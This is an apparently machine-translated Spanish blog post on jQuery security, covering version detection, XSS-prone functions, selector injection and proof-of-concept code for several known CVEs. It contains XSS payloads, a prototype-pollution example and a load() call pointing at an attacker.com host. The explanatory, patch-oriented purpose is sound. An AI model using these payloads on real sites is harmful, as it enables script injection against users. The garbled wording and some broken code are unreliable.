Preámbulo
JavaScript se utiliza de alguna modo en casi todas las aplicaciones web modernas. Hay varias bibliotecas populares que utilizan los sitios web y cada una tiene sus ventajas y desventajas. Hoy nos centraremos en una de las bibliotecas más populares en uso, jQuery. Millones de sitios web en todo el mundo utilizan jQuery, incluidos algunos de los sitios web más reconocidos de EE. UU. Entonces, la pregunta es: ¿es seguro usarlo?
Bueno, eso depende de cómo lo uses y de la lectura que tengas instalada. Repasemos los conceptos básicos de cómo funciona y expliquemos algunas de las vulnerabilidades más comunes descubiertas a lo dilatado de los primaveras.
Enlaces rápidos para aquellos que no están interesados en cómo funciona:
Exploits – Cómo explotarlo
Selector jQuery: cómo explotar el selector
CVE conocidos: conozca los CVE y los PoC
Identificación
Para identificar si una aplicación utiliza jQuery, puede inquirir los siguientes formatos que incorporan scripts.
Extraído de jQuery:
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
Extraído de Google:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
De una fuente almacén:
<script src="/assets/js/jquery/3.7.1/jquery.min.js"></script>
Por lo universal, los desarrolladores no modifican estos scripts y, en cambio, las funciones definidas en la biblioteca jQuery se utilizan en otros archivos JavaScript agregados por los desarrolladores de la aplicación.
Si no puede encontrar ninguna narración de script a jQuery, o no puede identificar qué lectura está en uso, puede usar el venidero código en la consola ubicada en las herramientas de mejora del navegador para devolver la lectura contemporáneo si jQuery está apto. .
jQuery().jquery
Normalmente, las bibliotecas de JavaScript de terceros se cargan en una ubicación accesible conjuntamente para que cualquier página de la aplicación pueda utilizar su funcionalidad, pero solo es posible unir una narración de biblioteca a una sola página. Si tu corres jQuery().jquery y no devuelve un valencia, eso significa que la biblioteca jQuery no está apto en la página contemporáneo pero no significa que el sitio no usa jQuery. Es posible que solo se pueda conseguir a la biblioteca en páginas específicas que necesitan su funcionalidad.
Apoyo
En el momento de la publicación de este blog, la única lectura actualmente compatible es la 3.7.1.
Las versiones 1.x y 2.x ya no son compatibles; sin requisa, cualquier lectura superior a 3.5.0 actualmente no contiene vulnerabilidades conocidas (CVE).
Cualquier lectura inferior a 2.x probablemente tendrá al menos una vulnerabilidad XSS conocida.
Cómo usarlo
jQuery es una biblioteca con muchas funciones diferentes, pero en esencia, está diseñada para permitir que se escriba menos código para realizar la misma batalla que se realiza en JavaScript elemental.
Por ejemplo, sin jQuery, si quisieras obtener el valencia de un cuadro de entrada, podrías usar:
document.getElementById("myInput").value
Al usar jQuery, puedes acortar este código y usar:
jQuery('#myInput').val()
La biblioteca jQuery todavía define el signo de dólar ($) como paso directo al objeto jQuery. Por lo tanto, puedes acortar aún más el ejemplo mencionado.
$('#myInput').val()
Sintaxis global que debe conocer
jQuery se utiliza principalmente para interactuar con principios HTML y entradas del sucesor. Cada ejemplo a continuación tendrá el HTML al que hace narración el código jQuery y el resultado de JavaScript.
Obtener el valencia de un sujeto
HTML:
<input id="myInput" />
jQuery:
$('#myInput').val()
Resultado: Devoluciones
<b>test</b>
Obtener un valencia de atributo de un sujeto
HTML:
<div id="myDiv" name="testName"></div>
jQuery:
$('#myDiv').attr('name')
Resultado: Devoluciones
testName
Ejecutar un script cuando se hace clic en un sujeto
HTML:
<button id="Greeting">Show Greeting</button>
jQuery:
$('#Greeting').on("click", function(){ alert("Hello") })
Resultado: aparece un cuadro de alerta con el texto “Hola” cuando se hace clic en el retoño de saludo.
Hacer una solicitud GET
jQuery:
$.get('http://localhost:8000/file.txt', function(data){ alert(data.split("n")(0)) });
Resultado: esto realizará una solicitud GET a la URL definida y mostrará la primera tangente del archivo en un cuadro de alerta.
Hacer una solicitud POST
jQuery:
$.post('http://localhost:8000/data', {debug: 'true'}, function(result){ alert(result) });
Resultado: Esto realizará una solicitud POST con el cuerpo POST. depurar = efectivoa la URL definida y muestra la respuesta HTML en un cuadro de alerta.
Hazañas
Funciones comunes que pueden causar XSS en JavaScript elemental, como HTML internoIncluso están disponibles en jQuery. Al igual que en JavaScript elemental, estas funciones dependen de la entrada del sucesor que se les pasa para ser explotables.
Como se indica en la documentación de jQuery:
Por diseño, cualquier constructor o método de jQuery que acepte una cautiverio HTML (jQuery(), .append(), .after(), etc.) puede potencialmente ejecutar código.
Aquí hay una tira corta de funciones a tener en cuenta que pueden permitir la ejecución de código JavaScript.
adjuntar()– Inserta contenido al final de los principios seleccionados.
diferenciar() – Inserta contenido al principio de los principios seleccionados.
a posteriori() – Inserta contenido a posteriori de los principios seleccionados.
antiguamente() – Inserta contenido antiguamente de los principios seleccionados.
HTML() – Establece o devuelve el contenido de los principios seleccionados (incluido el impresionado HTML)
Como ejemplo, el venidero código sería explotable si el valencia de entrada contuviera una carga útil XSS.
HTML:
<input id="name" value="<img src=1 onerror=alert()>">
jQuery:
username = $('#name').val();
$('#name').after("<br>Hello " + username);
Resultado: el XSS en el valencia del nombre de sucesor se agrega al HTML de la página.
Función cargar()
Otra función que puede unir HTML sin modificar a la página es la carga() función.
carga() – Carga datos desde un servidor y coloca los datos devueltos en el sujeto seleccionado.
Un ejemplo de código indefenso podría ser:
URL:
http://127.0.0.1:8000?redirect=https://attacker.com/xss.html
jQuery:
redirect = window.location.search
if(redirect.indexOf("?redirect=")>=0){
path=redirect.split("redirect=")(1)
$('body').load(path)
}
Selector de jQuery
Otra forma de ejecutar XSS en jQuery es mediante el motor de selección. Su objetivo principal es encontrar principios en el HTML de la página.
Por ejemplo, para obtener el valencia de la entrada con un ID de “myInput” sería:
$('#myInput').val();
Pero si se pasa el selector, se ejecutará una carga útil XSS como parte del proceso de búsqueda.
$('<img src=x onerror=alert(1)>')
En las versiones más nuevas de jQuery (>3.5.0), las cargas enseres XSS en el selector generalmente solo se ejecutan si el sucesor tiene control del inicio de la entrada. Entradas que comienzan con un hashtag (#), como el hash de ubicación, o usan búsquedas de objetos como el contiene() función, han permitido la ejecución de código en el pasado, pero desde entonces han sido parcheados para ya no permitir la ejecución de código.
Un ejemplo de XSS en versiones anteriores del selector jQuery sería:
$('h1:contains("<img src=x onerror=alert(1)>")')
Para obtener una panorámica más detallada, aquí hay un ejemplo de la página HTML completa.
<!DOCTYPE html>
<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
<h1 id="head1">Heading 1</h1>
<h1 id="head2" style="margin-top: 800px;">Heading 2</h1>
<script type='text/javascript'>
$(window).on('hashchange', function(){
var data = $('h1:contains('+decodeURIComponent(location.hash.slice(1))+')');
if(data){
data.get(0).scrollIntoView();
}
});
</script>
</body>
</html>
En este ejemplo, una URL, como por ejemplo:
http://127.0.0.1:8000#<img src=x onerror=alert(1)>
ejecutaría JavaScript usando el selector jQuery y mostraría un cuadro de alerta.
CVE conocidos
A lo dilatado de los primaveras, se han identificado varios CVE en la biblioteca jQuery, la mayoría de los cuales apuntan al selector. Es global que los CVE sean duplicados entre sí o contengan código que ya no es indefenso en los navegadores modernos. Entonces, aquí hay una tira de todos los CVE principales para jQuery sin duplicados. Cada uno contiene una breve descripción, con una prueba de concepto eficaz y las versiones afectadas.
CVE-2011-4969 (Versiones<1.6.3)
Esto permite la ejecución de código en el selector jQuery, incluso si la consulta comienza con un # como lo haría con ubicación.hash
jQuery:
hash = window.location.hash;
$(hash).show();
El problema aquí es que los navegadores modernos devuelven el ubicación.hash como una cautiverio codificada en URL. Para que esto funcione, el código de la aplicación primero debe decodificar la URL.
jQuery:
hash = decodeURIComponent(window.location.hash)
$(hash).show()
URL:
http://127.0.0.1:8000#<img src=1 onerror=alert(1)>
Resultado: el cuadro de alerta aparece con el texto “1”
CVE-2012-6708 y CVE-2017-16011 (Versiones < 1.9.1)
El código se puede ejecutar en el selector jQuery siempre que la consulta no comience con #
jQuery:
$('h1:contains('+decodeURIComponent(location.hash.slice(1))+')');
URL:
http://127.0.0.1:8000#<img src=1 onerror=alert(1)>
Resultado: el cuadro de alerta aparece con el texto “1”
CVE-2014-6071 (impostor positivo)
Se puede unir HTML a una página usando jQuery, incluso si el HTML se agrega desde el texto() función.
HTML:
<select>
<option><script>alert(1);</script></option>
</select>
jQuery:
option = $('select').children('option').first();
$('select').after(option.text());
Esto se marcó como funcionalidad con sangría y funciona en las últimas versiones de jQuery.
CVE-2015-9251 (Versiones <1.12.0, 1.12.3-2.2.4)
Los archivos externos pueden cargar JavaScript.
jQuery:
$.get('https://127.0.0.1:8000/xss.js')
Resultado: JavaScript alojado en la URL proporcionada se ejecutará en la página contemporáneo.
CVE-2016-10707 (Versiones >= 3.0.0-rc1 < 3.0.0)
DoS está en la búsqueda de atributos.
jQuery:
$('body').attr('requiRed')
Resultado: Error interno o Error de rango se pica dependiendo del navegador.
CVE-2019-5428 y CVE-2019-11358 (Interpretación <3.4.0)
Si un sucesor puede controlar las propiedades adicionales (en este ejemplo, queryParams) utilizadas en el método jQuery.extend, puede sobrescribir las propiedades existentes (en este ejemplo, enlace) agregando una propiedad con el mismo valencia a todos los objetos usando __proto__.
jQuery:
defaultConfig = { "link": "<a href='#'>Back</a>" };
queryParams = {
// Modify an existing property (link) that will then exist on all objects.
"__proto__": {
"link": "<img src/onerror=alert(1)>" }
}
config = jQuery.extend(true, defaultConfig, queryParams);
$('body').html(config.link);
Resultado: aparece un cuadro de alerta con el texto “1”
CVE-2020-7656 (Interpretación <1.9.1)
El método de carga no reconoce ni elimina etiquetas HTML de script que contienen un carácter de espacio en blanco, es sostener:
</script>
jQuery:
$('body').load('XSS.html');
Resultado: si el archivo XSS.html contiene:
<script>alert(1);</script>
Aparece un cuadro de alerta con el texto “1”. Observe el espacio adicional en la epíteto del script de cerrojo.
CVE-2020-11022 y CVE-2020-11023 (Interpretación >= 1.5.1 < 3.5.0)
Acontecer HTML de fuentes que no son de confianza, incluso si el inicio de la consulta no está controlado, puede ejecutar XSS.
jQuery:
$('body').html('<option><style></option></select><img src=1 onerror=alert(1)></style>');
Resultado: Aparece un cuadro de alerta con el texto “1”
Compendio
En prontuario, para explotar jQuery hasta el punto de poder ejecutar su propio código JavaScript, debe tener control de un parámetro que se pasa a una de las funciones vulnerables identificadas. Si su sitio ejecuta jQuery pero no permite la entrada del sucesor en ninguna de las funciones identificadas anteriormente, entonces es poco probable que los atacantes puedan ejecutar código, incluso en versiones obsoletas.
Es importante tener en cuenta que si utiliza software obsoleto pero no utiliza ninguna de las funciones vulnerables enumeradas anteriormente, los entornos pueden cambiar y todavía los equipos de mejora. El hecho de que esté seguro hoy no significa que la próxima semana un pasante no agregará algún código indefenso nuevo que podría haberse evitado con los últimos parches.
Por lo tanto, tenga en cuenta las funciones de terceros en las que permite la entrada del sucesor y asegúrese de mantenerse actualizado sobre las últimas versiones compatibles de sus bibliotecas de JavaScript. Como siempre, tener una política de seguridad de contenido (CSP) sólida puede proporcionar seguridad adicional a su aplicación.
Como atacantes, vemos una gran cantidad de software obsoleto en uso y, como antiguo desarrollador, entiendo que no siempre es posible poner al día a la última lectura. Entonces, con suerte, esto agrega un poco de contexto para que la próxima vez que reciba una alerta de biblioteca desactualizada, pueda evaluar el peligro de modo adecuada.